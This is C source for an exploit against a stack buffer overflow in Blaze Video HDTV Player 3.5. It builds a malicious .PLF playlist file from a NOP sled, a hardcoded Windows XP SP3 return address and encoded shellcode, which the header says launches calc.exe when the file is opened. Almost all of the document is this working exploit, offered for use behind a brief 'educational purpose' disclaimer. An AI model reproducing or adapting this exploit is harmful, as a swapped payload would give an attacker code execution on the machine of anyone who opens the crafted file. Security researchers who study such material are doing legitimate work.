/*Blaze Video HDTV Player V 3.5 .PLF File Stack Buffer Overflow Exploit This sploit will create a special plf file,when you open this file calc.exe will be launched.Tested on Win XP Pro Sp3,if you run it on another platform ,make sure you modify the retaddress in the sploit. Disclaimer This program was written for educational purpose. Use it at your own risk.Author will be not be responsible for any damage. Credits for finging the bug and sploit go to fl0 fl0w. Greetz to all romanian coderz !! Contact me at flo_flow_supremacy@yahoo.com Have fun ! */ #include #include #include #include #define EVILFILE "Romanian.plf" #define FIRST "C:\\" #define OFFSET 257 char shellcode[]= "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x37\x6a\x63" "\x58\x30\x42\x30\x50\x42\x6b\x42\x41\x73\x41\x42\x32\x42\x41\x32" "\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x38\x69\x69\x6c\x38" "\x68\x41\x54\x77\x70\x57\x70\x75\x50\x6e\x6b\x41\x55\x55\x6c\x6e" "\x6b\x43\x4c\x66\x65\x41\x68\x45\x51\x58\x6f\x4c\x4b\x50\x4f\x62" "\x38\x6e\x6b\x41\x4f\x31\x30\x36\x61\x4a\x4b\x41\x59\x6c\x4b\x74" "\x74\x6e\x6b\x44\x41\x4a\x4e\x47\x41\x4b\x70\x6f\x69\x6c\x6c\x4c" "\x44\x4b\x70\x43\x44\x76\x67\x4b\x71\x4a\x6a\x66\x6d\x66\x61\x39" "\x52\x5a\x4b\x4a\x54\x75\x6b\x62\x74\x56\x44\x73\x34\x41\x65\x4b" "\x55\x4e\x6b\x73\x6f\x54\x64\x53\x31\x6a\x4b\x35\x36\x6c\x4b\x64" "\x4c\x30\x4b\x6c\x4b\x73\x6f\x57\x6c\x75\x51\x6a\x4b\x6c\x4b\x37" "\x6c\x6c\x4b\x77\x71\x68\x6b\x4c\x49\x71\x4c\x51\x34\x43\x34\x6b" "\x73\x46\x51\x79\x50\x71\x74\x4c\x4b\x67\x30\x36\x50\x4c\x45\x4b" "\x70\x62\x58\x74\x4c\x6c\x4b\x53\x70\x56\x6c\x4e\x6b\x34\x30\x47" "\x6c\x4e\x4d\x6c\x4b\x70\x68\x37\x78\x58\x6b\x53\x39\x6c\x4b\x4f" "\x70\x6c\x70\x53\x30\x43\x30\x73\x30\x6c\x4b\x42\x48\x77\x4c\x61" "\x4f\x44\x71\x6b\x46\x73\x50\x72\x76\x6b\x39\x5a\x58\x6f\x73\x4f" "\x30\x73\x4b\x56\x30\x31\x78\x61\x6e\x6a\x78\x4b\x52\x74\x33\x55" "\x38\x4a\x38\x69\x6e\x6c\x4a\x54\x4e\x52\x77\x79\x6f\x79\x77\x42" "\x43\x50\x61\x70\x6c\x41\x73\x64\x6e\x51\x75\x52\x58\x31\x75\x57" "\x70\x63"; int main() { FILE *p; unsigned char *buffer; unsigned int offset=0; unsigned int retaddress=0x7C8369F0; buffer=(unsigned char *)malloc(OFFSET+strlen(shellcode)+4+20+1); if((p=fopen(EVILFILE,"wb"))==NULL) { printf("error"); exit(0); } memset(buffer,0x90,OFFSET+strlen(shellcode)+4+1); offset=OFFSET; memcpy(buffer+offset,&retaddress,4); offset+=4+20; memcpy(buffer+offset,shellcode,strlen(shellcode)); offset+=strlen(shellcode); memset(buffer+offset,0x00,1); fprintf(p,"%s%s",FIRST,buffer); printf("|--------------------------------------------------------------------------|\n"); printf("Blaze Video HDTV Player V 3.5 .PLF File Stack Buffer Overflow Exploit\n"); printf("Credits for finging the bug and sploit go to fl0 fl0w\n"); printf(".PLF file done.. open with Blaze Player and have fun! \n" ); printf("|--------------------------------------------------------------------------|\n"); fclose(p); free(buffer); return 0; }